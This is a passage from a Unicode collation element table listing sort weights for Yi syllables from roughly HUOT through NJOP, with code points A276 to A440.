[.3E9D.0020.0002] # YI SYLLABLE HUOT +A276 ; [.3E9E.0020.0002] # YI SYLLABLE HUOX +A277 ; [.3E9F.0020.0002] # YI SYLLABLE HUO +A278 ; [.3EA0.0020.0002] # YI SYLLABLE HUOP +A279 ; [.3EA1.0020.0002] # YI SYLLABLE HOT +A27A ; [.3EA2.0020.0002] # YI SYLLABLE HOX +A27B ; [.3EA3.0020.0002] # YI SYLLABLE HO +A27C ; [.3EA4.0020.0002] # YI SYLLABLE HOP +A27D ; [.3EA5.0020.0002] # YI SYLLABLE HEX +A27E ; [.3EA6.0020.0002] # YI SYLLABLE HE +A27F ; [.3EA7.0020.0002] # YI SYLLABLE HEP +A280 ; [.3EA8.0020.0002] # YI SYLLABLE WAT +A281 ; [.3EA9.0020.0002] # YI SYLLABLE WAX +A282 ; [.3EAA.0020.0002] # YI SYLLABLE WA +A283 ; [.3EAB.0020.0002] # YI SYLLABLE WAP +A284 ; [.3EAC.0020.0002] # YI SYLLABLE WUOX +A285 ; [.3EAD.0020.0002] # YI SYLLABLE WUO +A286 ; [.3EAE.0020.0002] # YI SYLLABLE WUOP +A287 ; [.3EAF.0020.0002] # YI SYLLABLE WOX +A288 ; [.3EB0.0020.0002] # YI SYLLABLE WO +A289 ; [.3EB1.0020.0002] # YI SYLLABLE WOP +A28A ; [.3EB2.0020.0002] # YI SYLLABLE WEX +A28B ; [.3EB3.0020.0002] # YI SYLLABLE WE +A28C ; [.3EB4.0020.0002] # YI SYLLABLE WEP +A28D ; [.3EB5.0020.0002] # YI SYLLABLE ZIT +A28E ; [.3EB6.0020.0002] # YI SYLLABLE ZIX +A28F ; [.3EB7.0020.0002] # YI SYLLABLE ZI +A290 ; [.3EB8.0020.0002] # YI SYLLABLE ZIP +A291 ; [.3EB9.0020.0002] # YI SYLLABLE ZIEX +A292 ; [.3EBA.0020.0002] # YI SYLLABLE ZIE +A293 ; [.3EBB.0020.0002] # YI SYLLABLE ZIEP +A294 ; [.3EBC.0020.0002] # YI SYLLABLE ZAT +A295 ; [.3EBD.0020.0002] # YI SYLLABLE ZAX +A296 ; [.3EBE.0020.0002] # YI SYLLABLE ZA +A297 ; [.3EBF.0020.0002] # YI SYLLABLE ZAP +A298 ; [.3EC0.0020.0002] # YI SYLLABLE ZUOX +A299 ; [.3EC1.0020.0002] # YI SYLLABLE ZUO +A29A ; [.3EC2.0020.0002] # YI SYLLABLE ZUOP +A29B ; [.3EC3.0020.0002] # YI SYLLABLE ZOT +A29C ; [.3EC4.0020.0002] # YI SYLLABLE ZOX +A29D ; [.3EC5.0020.0002] # YI SYLLABLE ZO +A29E ; [.3EC6.0020.0002] # YI SYLLABLE ZOP +A29F ; [.3EC7.0020.0002] # YI SYLLABLE ZEX +A2A0 ; [.3EC8.0020.0002] # YI SYLLABLE ZE +A2A1 ; [.3EC9.0020.0002] # YI SYLLABLE ZEP +A2A2 ; [.3ECA.0020.0002] # YI SYLLABLE ZUT +A2A3 ; [.3ECB.0020.0002] # YI SYLLABLE ZUX +A2A4 ; [.3ECC.0020.0002] # YI SYLLABLE ZU +A2A5 ; [.3ECD.0020.0002] # YI SYLLABLE ZUP +A2A6 ; [.3ECE.0020.0002] # YI SYLLABLE ZURX +A2A7 ; [.3ECF.0020.0002] # YI SYLLABLE ZUR +A2A8 ; [.3ED0.0020.0002] # YI SYLLABLE ZYT +A2A9 ; [.3ED1.0020.0002] # YI SYLLABLE ZYX +A2AA ; [.3ED2.0020.0002] # YI SYLLABLE ZY +A2AB ; [.3ED3.0020.0002] # YI SYLLABLE ZYP +A2AC ; [.3ED4.0020.0002] # YI SYLLABLE ZYRX +A2AD ; [.3ED5.0020.0002] # YI SYLLABLE ZYR +A2AE ; [.3ED6.0020.0002] # YI SYLLABLE CIT +A2AF ; [.3ED7.0020.0002] # YI SYLLABLE CIX +A2B0 ; [.3ED8.0020.0002] # YI SYLLABLE CI +A2B1 ; [.3ED9.0020.0002] # YI SYLLABLE CIP +A2B2 ; [.3EDA.0020.0002] # YI SYLLABLE CIET +A2B3 ; [.3EDB.0020.0002] # YI SYLLABLE CIEX +A2B4 ; [.3EDC.0020.0002] # YI SYLLABLE CIE +A2B5 ; [.3EDD.0020.0002] # YI SYLLABLE CIEP +A2B6 ; [.3EDE.0020.0002] # YI SYLLABLE CAT +A2B7 ; [.3EDF.0020.0002] # YI SYLLABLE CAX +A2B8 ; [.3EE0.0020.0002] # YI SYLLABLE CA +A2B9 ; [.3EE1.0020.0002] # YI SYLLABLE CAP +A2BA ; [.3EE2.0020.0002] # YI SYLLABLE CUOX +A2BB ; [.3EE3.0020.0002] # YI SYLLABLE CUO +A2BC ; [.3EE4.0020.0002] # YI SYLLABLE CUOP +A2BD ; [.3EE5.0020.0002] # YI SYLLABLE COT +A2BE ; [.3EE6.0020.0002] # YI SYLLABLE COX +A2BF ; [.3EE7.0020.0002] # YI SYLLABLE CO +A2C0 ; [.3EE8.0020.0002] # YI SYLLABLE COP +A2C1 ; [.3EE9.0020.0002] # YI SYLLABLE CEX +A2C2 ; [.3EEA.0020.0002] # YI SYLLABLE CE +A2C3 ; [.3EEB.0020.0002] # YI SYLLABLE CEP +A2C4 ; [.3EEC.0020.0002] # YI SYLLABLE CUT +A2C5 ; [.3EED.0020.0002] # YI SYLLABLE CUX +A2C6 ; [.3EEE.0020.0002] # YI SYLLABLE CU +A2C7 ; [.3EEF.0020.0002] # YI SYLLABLE CUP +A2C8 ; [.3EF0.0020.0002] # YI SYLLABLE CURX +A2C9 ; [.3EF1.0020.0002] # YI SYLLABLE CUR +A2CA ; [.3EF2.0020.0002] # YI SYLLABLE CYT +A2CB ; [.3EF3.0020.0002] # YI SYLLABLE CYX +A2CC ; [.3EF4.0020.0002] # YI SYLLABLE CY +A2CD ; [.3EF5.0020.0002] # YI SYLLABLE CYP +A2CE ; [.3EF6.0020.0002] # YI SYLLABLE CYRX +A2CF ; [.3EF7.0020.0002] # YI SYLLABLE CYR +A2D0 ; [.3EF8.0020.0002] # YI SYLLABLE ZZIT +A2D1 ; [.3EF9.0020.0002] # YI SYLLABLE ZZIX +A2D2 ; [.3EFA.0020.0002] # YI SYLLABLE ZZI +A2D3 ; [.3EFB.0020.0002] # YI SYLLABLE ZZIP +A2D4 ; [.3EFC.0020.0002] # YI SYLLABLE ZZIET +A2D5 ; [.3EFD.0020.0002] # YI SYLLABLE ZZIEX +A2D6 ; [.3EFE.0020.0002] # YI SYLLABLE ZZIE +A2D7 ; [.3EFF.0020.0002] # YI SYLLABLE ZZIEP +A2D8 ; [.3F00.0020.0002] # YI SYLLABLE ZZAT +A2D9 ; [.3F01.0020.0002] # YI SYLLABLE ZZAX +A2DA ; [.3F02.0020.0002] # YI SYLLABLE ZZA +A2DB ; [.3F03.0020.0002] # YI SYLLABLE ZZAP +A2DC ; [.3F04.0020.0002] # YI SYLLABLE ZZOX +A2DD ; [.3F05.0020.0002] # YI SYLLABLE ZZO +A2DE ; [.3F06.0020.0002] # YI SYLLABLE ZZOP +A2DF ; [.3F07.0020.0002] # YI SYLLABLE ZZEX +A2E0 ; [.3F08.0020.0002] # YI SYLLABLE ZZE +A2E1 ; [.3F09.0020.0002] # YI SYLLABLE ZZEP +A2E2 ; [.3F0A.0020.0002] # YI SYLLABLE ZZUX +A2E3 ; [.3F0B.0020.0002] # YI SYLLABLE ZZU +A2E4 ; [.3F0C.0020.0002] # YI SYLLABLE ZZUP +A2E5 ; [.3F0D.0020.0002] # YI SYLLABLE ZZURX +A2E6 ; [.3F0E.0020.0002] # YI SYLLABLE ZZUR +A2E7 ; [.3F0F.0020.0002] # YI SYLLABLE ZZYT +A2E8 ; [.3F10.0020.0002] # YI SYLLABLE ZZYX +A2E9 ; [.3F11.0020.0002] # YI SYLLABLE ZZY +A2EA ; [.3F12.0020.0002] # YI SYLLABLE ZZYP +A2EB ; [.3F13.0020.0002] # YI SYLLABLE ZZYRX +A2EC ; [.3F14.0020.0002] # YI SYLLABLE ZZYR +A2ED ; [.3F15.0020.0002] # YI SYLLABLE NZIT +A2EE ; [.3F16.0020.0002] # YI SYLLABLE NZIX +A2EF ; [.3F17.0020.0002] # YI SYLLABLE NZI +A2F0 ; [.3F18.0020.0002] # YI SYLLABLE NZIP +A2F1 ; [.3F19.0020.0002] # YI SYLLABLE NZIEX +A2F2 ; [.3F1A.0020.0002] # YI SYLLABLE NZIE +A2F3 ; [.3F1B.0020.0002] # YI SYLLABLE NZIEP +A2F4 ; [.3F1C.0020.0002] # YI SYLLABLE NZAT +A2F5 ; [.3F1D.0020.0002] # YI SYLLABLE NZAX +A2F6 ; [.3F1E.0020.0002] # YI SYLLABLE NZA +A2F7 ; [.3F1F.0020.0002] # YI SYLLABLE NZAP +A2F8 ; [.3F20.0020.0002] # YI SYLLABLE NZUOX +A2F9 ; [.3F21.0020.0002] # YI SYLLABLE NZUO +A2FA ; [.3F22.0020.0002] # YI SYLLABLE NZOX +A2FB ; [.3F23.0020.0002] # YI SYLLABLE NZOP +A2FC ; [.3F24.0020.0002] # YI SYLLABLE NZEX +A2FD ; [.3F25.0020.0002] # YI SYLLABLE NZE +A2FE ; [.3F26.0020.0002] # YI SYLLABLE NZUX +A2FF ; [.3F27.0020.0002] # YI SYLLABLE NZU +A300 ; [.3F28.0020.0002] # YI SYLLABLE NZUP +A301 ; [.3F29.0020.0002] # YI SYLLABLE NZURX +A302 ; [.3F2A.0020.0002] # YI SYLLABLE NZUR +A303 ; [.3F2B.0020.0002] # YI SYLLABLE NZYT +A304 ; [.3F2C.0020.0002] # YI SYLLABLE NZYX +A305 ; [.3F2D.0020.0002] # YI SYLLABLE NZY +A306 ; [.3F2E.0020.0002] # YI SYLLABLE NZYP +A307 ; [.3F2F.0020.0002] # YI SYLLABLE NZYRX +A308 ; [.3F30.0020.0002] # YI SYLLABLE NZYR +A309 ; [.3F31.0020.0002] # YI SYLLABLE SIT +A30A ; [.3F32.0020.0002] # YI SYLLABLE SIX +A30B ; [.3F33.0020.0002] # YI SYLLABLE SI +A30C ; [.3F34.0020.0002] # YI SYLLABLE SIP +A30D ; [.3F35.0020.0002] # YI SYLLABLE SIEX +A30E ; [.3F36.0020.0002] # YI SYLLABLE SIE +A30F ; [.3F37.0020.0002] # YI SYLLABLE SIEP +A310 ; [.3F38.0020.0002] # YI SYLLABLE SAT +A311 ; [.3F39.0020.0002] # YI SYLLABLE SAX +A312 ; [.3F3A.0020.0002] # YI SYLLABLE SA +A313 ; [.3F3B.0020.0002] # YI SYLLABLE SAP +A314 ; [.3F3C.0020.0002] # YI SYLLABLE SUOX +A315 ; [.3F3D.0020.0002] # YI SYLLABLE SUO +A316 ; [.3F3E.0020.0002] # YI SYLLABLE SUOP +A317 ; [.3F3F.0020.0002] # YI SYLLABLE SOT +A318 ; [.3F40.0020.0002] # YI SYLLABLE SOX +A319 ; [.3F41.0020.0002] # YI SYLLABLE SO +A31A ; [.3F42.0020.0002] # YI SYLLABLE SOP +A31B ; [.3F43.0020.0002] # YI SYLLABLE SEX +A31C ; [.3F44.0020.0002] # YI SYLLABLE SE +A31D ; [.3F45.0020.0002] # YI SYLLABLE SEP +A31E ; [.3F46.0020.0002] # YI SYLLABLE SUT +A31F ; [.3F47.0020.0002] # YI SYLLABLE SUX +A320 ; [.3F48.0020.0002] # YI SYLLABLE SU +A321 ; [.3F49.0020.0002] # YI SYLLABLE SUP +A322 ; [.3F4A.0020.0002] # YI SYLLABLE SURX +A323 ; [.3F4B.0020.0002] # YI SYLLABLE SUR +A324 ; [.3F4C.0020.0002] # YI SYLLABLE SYT +A325 ; [.3F4D.0020.0002] # YI SYLLABLE SYX +A326 ; [.3F4E.0020.0002] # YI SYLLABLE SY +A327 ; [.3F4F.0020.0002] # YI SYLLABLE SYP +A328 ; [.3F50.0020.0002] # YI SYLLABLE SYRX +A329 ; [.3F51.0020.0002] # YI SYLLABLE SYR +A32A ; [.3F52.0020.0002] # YI SYLLABLE SSIT +A32B ; [.3F53.0020.0002] # YI SYLLABLE SSIX +A32C ; [.3F54.0020.0002] # YI SYLLABLE SSI +A32D ; [.3F55.0020.0002] # YI SYLLABLE SSIP +A32E ; [.3F56.0020.0002] # YI SYLLABLE SSIEX +A32F ; [.3F57.0020.0002] # YI SYLLABLE SSIE +A330 ; [.3F58.0020.0002] # YI SYLLABLE SSIEP +A331 ; [.3F59.0020.0002] # YI SYLLABLE SSAT +A332 ; [.3F5A.0020.0002] # YI SYLLABLE SSAX +A333 ; [.3F5B.0020.0002] # YI SYLLABLE SSA +A334 ; [.3F5C.0020.0002] # YI SYLLABLE SSAP +A335 ; [.3F5D.0020.0002] # YI SYLLABLE SSOT +A336 ; [.3F5E.0020.0002] # YI SYLLABLE SSOX +A337 ; [.3F5F.0020.0002] # YI SYLLABLE SSO +A338 ; [.3F60.0020.0002] # YI SYLLABLE SSOP +A339 ; [.3F61.0020.0002] # YI SYLLABLE SSEX +A33A ; [.3F62.0020.0002] # YI SYLLABLE SSE +A33B ; [.3F63.0020.0002] # YI SYLLABLE SSEP +A33C ; [.3F64.0020.0002] # YI SYLLABLE SSUT +A33D ; [.3F65.0020.0002] # YI SYLLABLE SSUX +A33E ; [.3F66.0020.0002] # YI SYLLABLE SSU +A33F ; [.3F67.0020.0002] # YI SYLLABLE SSUP +A340 ; [.3F68.0020.0002] # YI SYLLABLE SSYT +A341 ; [.3F69.0020.0002] # YI SYLLABLE SSYX +A342 ; [.3F6A.0020.0002] # YI SYLLABLE SSY +A343 ; [.3F6B.0020.0002] # YI SYLLABLE SSYP +A344 ; [.3F6C.0020.0002] # YI SYLLABLE SSYRX +A345 ; [.3F6D.0020.0002] # YI SYLLABLE SSYR +A346 ; [.3F6E.0020.0002] # YI SYLLABLE ZHAT +A347 ; [.3F6F.0020.0002] # YI SYLLABLE ZHAX +A348 ; [.3F70.0020.0002] # YI SYLLABLE ZHA +A349 ; [.3F71.0020.0002] # YI SYLLABLE ZHAP +A34A ; [.3F72.0020.0002] # YI SYLLABLE ZHUOX +A34B ; [.3F73.0020.0002] # YI SYLLABLE ZHUO +A34C ; [.3F74.0020.0002] # YI SYLLABLE ZHUOP +A34D ; [.3F75.0020.0002] # YI SYLLABLE ZHOT +A34E ; [.3F76.0020.0002] # YI SYLLABLE ZHOX +A34F ; [.3F77.0020.0002] # YI SYLLABLE ZHO +A350 ; [.3F78.0020.0002] # YI SYLLABLE ZHOP +A351 ; [.3F79.0020.0002] # YI SYLLABLE ZHET +A352 ; [.3F7A.0020.0002] # YI SYLLABLE ZHEX +A353 ; [.3F7B.0020.0002] # YI SYLLABLE ZHE +A354 ; [.3F7C.0020.0002] # YI SYLLABLE ZHEP +A355 ; [.3F7D.0020.0002] # YI SYLLABLE ZHUT +A356 ; [.3F7E.0020.0002] # YI SYLLABLE ZHUX +A357 ; [.3F7F.0020.0002] # YI SYLLABLE ZHU +A358 ; [.3F80.0020.0002] # YI SYLLABLE ZHUP +A359 ; [.3F81.0020.0002] # YI SYLLABLE ZHURX +A35A ; [.3F82.0020.0002] # YI SYLLABLE ZHUR +A35B ; [.3F83.0020.0002] # YI SYLLABLE ZHYT +A35C ; [.3F84.0020.0002] # YI SYLLABLE ZHYX +A35D ; [.3F85.0020.0002] # YI SYLLABLE ZHY +A35E ; [.3F86.0020.0002] # YI SYLLABLE ZHYP +A35F ; [.3F87.0020.0002] # YI SYLLABLE ZHYRX +A360 ; [.3F88.0020.0002] # YI SYLLABLE ZHYR +A361 ; [.3F89.0020.0002] # YI SYLLABLE CHAT +A362 ; [.3F8A.0020.0002] # YI SYLLABLE CHAX +A363 ; [.3F8B.0020.0002] # YI SYLLABLE CHA +A364 ; [.3F8C.0020.0002] # YI SYLLABLE CHAP +A365 ; [.3F8D.0020.0002] # YI SYLLABLE CHUOT +A366 ; [.3F8E.0020.0002] # YI SYLLABLE CHUOX +A367 ; [.3F8F.0020.0002] # YI SYLLABLE CHUO +A368 ; [.3F90.0020.0002] # YI SYLLABLE CHUOP +A369 ; [.3F91.0020.0002] # YI SYLLABLE CHOT +A36A ; [.3F92.0020.0002] # YI SYLLABLE CHOX +A36B ; [.3F93.0020.0002] # YI SYLLABLE CHO +A36C ; [.3F94.0020.0002] # YI SYLLABLE CHOP +A36D ; [.3F95.0020.0002] # YI SYLLABLE CHET +A36E ; [.3F96.0020.0002] # YI SYLLABLE CHEX +A36F ; [.3F97.0020.0002] # YI SYLLABLE CHE +A370 ; [.3F98.0020.0002] # YI SYLLABLE CHEP +A371 ; [.3F99.0020.0002] # YI SYLLABLE CHUX +A372 ; [.3F9A.0020.0002] # YI SYLLABLE CHU +A373 ; [.3F9B.0020.0002] # YI SYLLABLE CHUP +A374 ; [.3F9C.0020.0002] # YI SYLLABLE CHURX +A375 ; [.3F9D.0020.0002] # YI SYLLABLE CHUR +A376 ; [.3F9E.0020.0002] # YI SYLLABLE CHYT +A377 ; [.3F9F.0020.0002] # YI SYLLABLE CHYX +A378 ; [.3FA0.0020.0002] # YI SYLLABLE CHY +A379 ; [.3FA1.0020.0002] # YI SYLLABLE CHYP +A37A ; [.3FA2.0020.0002] # YI SYLLABLE CHYRX +A37B ; [.3FA3.0020.0002] # YI SYLLABLE CHYR +A37C ; [.3FA4.0020.0002] # YI SYLLABLE RRAX +A37D ; [.3FA5.0020.0002] # YI SYLLABLE RRA +A37E ; [.3FA6.0020.0002] # YI SYLLABLE RRUOX +A37F ; [.3FA7.0020.0002] # YI SYLLABLE RRUO +A380 ; [.3FA8.0020.0002] # YI SYLLABLE RROT +A381 ; [.3FA9.0020.0002] # YI SYLLABLE RROX +A382 ; [.3FAA.0020.0002] # YI SYLLABLE RRO +A383 ; [.3FAB.0020.0002] # YI SYLLABLE RROP +A384 ; [.3FAC.0020.0002] # YI SYLLABLE RRET +A385 ; [.3FAD.0020.0002] # YI SYLLABLE RREX +A386 ; [.3FAE.0020.0002] # YI SYLLABLE RRE +A387 ; [.3FAF.0020.0002] # YI SYLLABLE RREP +A388 ; [.3FB0.0020.0002] # YI SYLLABLE RRUT +A389 ; [.3FB1.0020.0002] # YI SYLLABLE RRUX +A38A ; [.3FB2.0020.0002] # YI SYLLABLE RRU +A38B ; [.3FB3.0020.0002] # YI SYLLABLE RRUP +A38C ; [.3FB4.0020.0002] # YI SYLLABLE RRURX +A38D ; [.3FB5.0020.0002] # YI SYLLABLE RRUR +A38E ; [.3FB6.0020.0002] # YI SYLLABLE RRYT +A38F ; [.3FB7.0020.0002] # YI SYLLABLE RRYX +A390 ; [.3FB8.0020.0002] # YI SYLLABLE RRY +A391 ; [.3FB9.0020.0002] # YI SYLLABLE RRYP +A392 ; [.3FBA.0020.0002] # YI SYLLABLE RRYRX +A393 ; [.3FBB.0020.0002] # YI SYLLABLE RRYR +A394 ; [.3FBC.0020.0002] # YI SYLLABLE NRAT +A395 ; [.3FBD.0020.0002] # YI SYLLABLE NRAX +A396 ; [.3FBE.0020.0002] # YI SYLLABLE NRA +A397 ; [.3FBF.0020.0002] # YI SYLLABLE NRAP +A398 ; [.3FC0.0020.0002] # YI SYLLABLE NROX +A399 ; [.3FC1.0020.0002] # YI SYLLABLE NRO +A39A ; [.3FC2.0020.0002] # YI SYLLABLE NROP +A39B ; [.3FC3.0020.0002] # YI SYLLABLE NRET +A39C ; [.3FC4.0020.0002] # YI SYLLABLE NREX +A39D ; [.3FC5.0020.0002] # YI SYLLABLE NRE +A39E ; [.3FC6.0020.0002] # YI SYLLABLE NREP +A39F ; [.3FC7.0020.0002] # YI SYLLABLE NRUT +A3A0 ; [.3FC8.0020.0002] # YI SYLLABLE NRUX +A3A1 ; [.3FC9.0020.0002] # YI SYLLABLE NRU +A3A2 ; [.3FCA.0020.0002] # YI SYLLABLE NRUP +A3A3 ; [.3FCB.0020.0002] # YI SYLLABLE NRURX +A3A4 ; [.3FCC.0020.0002] # YI SYLLABLE NRUR +A3A5 ; [.3FCD.0020.0002] # YI SYLLABLE NRYT +A3A6 ; [.3FCE.0020.0002] # YI SYLLABLE NRYX +A3A7 ; [.3FCF.0020.0002] # YI SYLLABLE NRY +A3A8 ; [.3FD0.0020.0002] # YI SYLLABLE NRYP +A3A9 ; [.3FD1.0020.0002] # YI SYLLABLE NRYRX +A3AA ; [.3FD2.0020.0002] # YI SYLLABLE NRYR +A3AB ; [.3FD3.0020.0002] # YI SYLLABLE SHAT +A3AC ; [.3FD4.0020.0002] # YI SYLLABLE SHAX +A3AD ; [.3FD5.0020.0002] # YI SYLLABLE SHA +A3AE ; [.3FD6.0020.0002] # YI SYLLABLE SHAP +A3AF ; [.3FD7.0020.0002] # YI SYLLABLE SHUOX +A3B0 ; [.3FD8.0020.0002] # YI SYLLABLE SHUO +A3B1 ; [.3FD9.0020.0002] # YI SYLLABLE SHUOP +A3B2 ; [.3FDA.0020.0002] # YI SYLLABLE SHOT +A3B3 ; [.3FDB.0020.0002] # YI SYLLABLE SHOX +A3B4 ; [.3FDC.0020.0002] # YI SYLLABLE SHO +A3B5 ; [.3FDD.0020.0002] # YI SYLLABLE SHOP +A3B6 ; [.3FDE.0020.0002] # YI SYLLABLE SHET +A3B7 ; [.3FDF.0020.0002] # YI SYLLABLE SHEX +A3B8 ; [.3FE0.0020.0002] # YI SYLLABLE SHE +A3B9 ; [.3FE1.0020.0002] # YI SYLLABLE SHEP +A3BA ; [.3FE2.0020.0002] # YI SYLLABLE SHUT +A3BB ; [.3FE3.0020.0002] # YI SYLLABLE SHUX +A3BC ; [.3FE4.0020.0002] # YI SYLLABLE SHU +A3BD ; [.3FE5.0020.0002] # YI SYLLABLE SHUP +A3BE ; [.3FE6.0020.0002] # YI SYLLABLE SHURX +A3BF ; [.3FE7.0020.0002] # YI SYLLABLE SHUR +A3C0 ; [.3FE8.0020.0002] # YI SYLLABLE SHYT +A3C1 ; [.3FE9.0020.0002] # YI SYLLABLE SHYX +A3C2 ; [.3FEA.0020.0002] # YI SYLLABLE SHY +A3C3 ; [.3FEB.0020.0002] # YI SYLLABLE SHYP +A3C4 ; [.3FEC.0020.0002] # YI SYLLABLE SHYRX +A3C5 ; [.3FED.0020.0002] # YI SYLLABLE SHYR +A3C6 ; [.3FEE.0020.0002] # YI SYLLABLE RAT +A3C7 ; [.3FEF.0020.0002] # YI SYLLABLE RAX +A3C8 ; [.3FF0.0020.0002] # YI SYLLABLE RA +A3C9 ; [.3FF1.0020.0002] # YI SYLLABLE RAP +A3CA ; [.3FF2.0020.0002] # YI SYLLABLE RUOX +A3CB ; [.3FF3.0020.0002] # YI SYLLABLE RUO +A3CC ; [.3FF4.0020.0002] # YI SYLLABLE RUOP +A3CD ; [.3FF5.0020.0002] # YI SYLLABLE ROT +A3CE ; [.3FF6.0020.0002] # YI SYLLABLE ROX +A3CF ; [.3FF7.0020.0002] # YI SYLLABLE RO +A3D0 ; [.3FF8.0020.0002] # YI SYLLABLE ROP +A3D1 ; [.3FF9.0020.0002] # YI SYLLABLE REX +A3D2 ; [.3FFA.0020.0002] # YI SYLLABLE RE +A3D3 ; [.3FFB.0020.0002] # YI SYLLABLE REP +A3D4 ; [.3FFC.0020.0002] # YI SYLLABLE RUT +A3D5 ; [.3FFD.0020.0002] # YI SYLLABLE RUX +A3D6 ; [.3FFE.0020.0002] # YI SYLLABLE RU +A3D7 ; [.3FFF.0020.0002] # YI SYLLABLE RUP +A3D8 ; [.4000.0020.0002] # YI SYLLABLE RURX +A3D9 ; [.4001.0020.0002] # YI SYLLABLE RUR +A3DA ; [.4002.0020.0002] # YI SYLLABLE RYT +A3DB ; [.4003.0020.0002] # YI SYLLABLE RYX +A3DC ; [.4004.0020.0002] # YI SYLLABLE RY +A3DD ; [.4005.0020.0002] # YI SYLLABLE RYP +A3DE ; [.4006.0020.0002] # YI SYLLABLE RYRX +A3DF ; [.4007.0020.0002] # YI SYLLABLE RYR +A3E0 ; [.4008.0020.0002] # YI SYLLABLE JIT +A3E1 ; [.4009.0020.0002] # YI SYLLABLE JIX +A3E2 ; [.400A.0020.0002] # YI SYLLABLE JI +A3E3 ; [.400B.0020.0002] # YI SYLLABLE JIP +A3E4 ; [.400C.0020.0002] # YI SYLLABLE JIET +A3E5 ; [.400D.0020.0002] # YI SYLLABLE JIEX +A3E6 ; [.400E.0020.0002] # YI SYLLABLE JIE +A3E7 ; [.400F.0020.0002] # YI SYLLABLE JIEP +A3E8 ; [.4010.0020.0002] # YI SYLLABLE JUOT +A3E9 ; [.4011.0020.0002] # YI SYLLABLE JUOX +A3EA ; [.4012.0020.0002] # YI SYLLABLE JUO +A3EB ; [.4013.0020.0002] # YI SYLLABLE JUOP +A3EC ; [.4014.0020.0002] # YI SYLLABLE JOT +A3ED ; [.4015.0020.0002] # YI SYLLABLE JOX +A3EE ; [.4016.0020.0002] # YI SYLLABLE JO +A3EF ; [.4017.0020.0002] # YI SYLLABLE JOP +A3F0 ; [.4018.0020.0002] # YI SYLLABLE JUT +A3F1 ; [.4019.0020.0002] # YI SYLLABLE JUX +A3F2 ; [.401A.0020.0002] # YI SYLLABLE JU +A3F3 ; [.401B.0020.0002] # YI SYLLABLE JUP +A3F4 ; [.401C.0020.0002] # YI SYLLABLE JURX +A3F5 ; [.401D.0020.0002] # YI SYLLABLE JUR +A3F6 ; [.401E.0020.0002] # YI SYLLABLE JYT +A3F7 ; [.401F.0020.0002] # YI SYLLABLE JYX +A3F8 ; [.4020.0020.0002] # YI SYLLABLE JY +A3F9 ; [.4021.0020.0002] # YI SYLLABLE JYP +A3FA ; [.4022.0020.0002] # YI SYLLABLE JYRX +A3FB ; [.4023.0020.0002] # YI SYLLABLE JYR +A3FC ; [.4024.0020.0002] # YI SYLLABLE QIT +A3FD ; [.4025.0020.0002] # YI SYLLABLE QIX +A3FE ; [.4026.0020.0002] # YI SYLLABLE QI +A3FF ; [.4027.0020.0002] # YI SYLLABLE QIP +A400 ; [.4028.0020.0002] # YI SYLLABLE QIET +A401 ; [.4029.0020.0002] # YI SYLLABLE QIEX +A402 ; [.402A.0020.0002] # YI SYLLABLE QIE +A403 ; [.402B.0020.0002] # YI SYLLABLE QIEP +A404 ; [.402C.0020.0002] # YI SYLLABLE QUOT +A405 ; [.402D.0020.0002] # YI SYLLABLE QUOX +A406 ; [.402E.0020.0002] # YI SYLLABLE QUO +A407 ; [.402F.0020.0002] # YI SYLLABLE QUOP +A408 ; [.4030.0020.0002] # YI SYLLABLE QOT +A409 ; [.4031.0020.0002] # YI SYLLABLE QOX +A40A ; [.4032.0020.0002] # YI SYLLABLE QO +A40B ; [.4033.0020.0002] # YI SYLLABLE QOP +A40C ; [.4034.0020.0002] # YI SYLLABLE QUT +A40D ; [.4035.0020.0002] # YI SYLLABLE QUX +A40E ; [.4036.0020.0002] # YI SYLLABLE QU +A40F ; [.4037.0020.0002] # YI SYLLABLE QUP +A410 ; [.4038.0020.0002] # YI SYLLABLE QURX +A411 ; [.4039.0020.0002] # YI SYLLABLE QUR +A412 ; [.403A.0020.0002] # YI SYLLABLE QYT +A413 ; [.403B.0020.0002] # YI SYLLABLE QYX +A414 ; [.403C.0020.0002] # YI SYLLABLE QY +A415 ; [.403D.0020.0002] # YI SYLLABLE QYP +A416 ; [.403E.0020.0002] # YI SYLLABLE QYRX +A417 ; [.403F.0020.0002] # YI SYLLABLE QYR +A418 ; [.4040.0020.0002] # YI SYLLABLE JJIT +A419 ; [.4041.0020.0002] # YI SYLLABLE JJIX +A41A ; [.4042.0020.0002] # YI SYLLABLE JJI +A41B ; [.4043.0020.0002] # YI SYLLABLE JJIP +A41C ; [.4044.0020.0002] # YI SYLLABLE JJIET +A41D ; [.4045.0020.0002] # YI SYLLABLE JJIEX +A41E ; [.4046.0020.0002] # YI SYLLABLE JJIE +A41F ; [.4047.0020.0002] # YI SYLLABLE JJIEP +A420 ; [.4048.0020.0002] # YI SYLLABLE JJUOX +A421 ; [.4049.0020.0002] # YI SYLLABLE JJUO +A422 ; [.404A.0020.0002] # YI SYLLABLE JJUOP +A423 ; [.404B.0020.0002] # YI SYLLABLE JJOT +A424 ; [.404C.0020.0002] # YI SYLLABLE JJOX +A425 ; [.404D.0020.0002] # YI SYLLABLE JJO +A426 ; [.404E.0020.0002] # YI SYLLABLE JJOP +A427 ; [.404F.0020.0002] # YI SYLLABLE JJUT +A428 ; [.4050.0020.0002] # YI SYLLABLE JJUX +A429 ; [.4051.0020.0002] # YI SYLLABLE JJU +A42A ; [.4052.0020.0002] # YI SYLLABLE JJUP +A42B ; [.4053.0020.0002] # YI SYLLABLE JJURX +A42C ; [.4054.0020.0002] # YI SYLLABLE JJUR +A42D ; [.4055.0020.0002] # YI SYLLABLE JJYT +A42E ; [.4056.0020.0002] # YI SYLLABLE JJYX +A42F ; [.4057.0020.0002] # YI SYLLABLE JJY +A430 ; [.4058.0020.0002] # YI SYLLABLE JJYP +A431 ; [.4059.0020.0002] # YI SYLLABLE NJIT +A432 ; [.405A.0020.0002] # YI SYLLABLE NJIX +A433 ; [.405B.0020.0002] # YI SYLLABLE NJI +A434 ; [.405C.0020.0002] # YI SYLLABLE NJIP +A435 ; [.405D.0020.0002] # YI SYLLABLE NJIET +A436 ; [.405E.0020.0002] # YI SYLLABLE NJIEX +A437 ; [.405F.0020.0002] # YI SYLLABLE NJIE +A438 ; [.4060.0020.0002] # YI SYLLABLE NJIEP +A439 ; [.4061.0020.0002] # YI SYLLABLE NJUOX +A43A ; [.4062.0020.0002] # YI SYLLABLE NJUO +A43B ; [.4063.0020.0002] # YI SYLLABLE NJOT +A43C ; [.4064.0020.0002] # YI SYLLABLE NJOX +A43D ; [.4065.0020.0002] # YI SYLLABLE NJO +A43E ; [.4066.0020.0002] # YI SYLLABLE NJOP +A43F ; [.4067.0020.0002] # YI SYLLABLE NJUX +A440 ; 